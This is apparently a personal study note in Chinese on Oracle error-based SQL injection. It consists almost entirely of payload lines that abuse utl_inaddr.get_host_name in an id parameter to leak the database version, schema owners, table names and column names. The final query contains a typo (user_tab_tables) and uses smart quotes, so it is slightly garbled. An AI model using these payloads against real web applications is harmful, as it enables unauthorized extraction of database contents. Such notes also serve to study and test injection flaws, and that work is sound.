【学习笔记】Oracle报错注入

||utl_inaddr. get_host_name
id=1||utl_inaddr. get_host_name((select banner from v$version where rownum=1))
爆数据库版本
id=1||utl_inaddr. get_host_name((select owner from all_tables where rownum=1))
爆库名
id=1||utl_inaddr. get_host_name((select owner from all_tables where rownum=1 and owner>‘SYS’))
依次爆库名（除了sys以外的数据库）
id=1||utl_inaddr. get_host_name((select table_name from user_tables where rownum=1))
爆表名
id=1||utl_inaddr. get_host_name((select table_name from user_tables where rownum=1 and table_name>’’))
依次爆表名
爆字段 column_name user_tab_columns

假设表名是ps 下面爆字段
select column_name from user_tab_tables where table_name=’’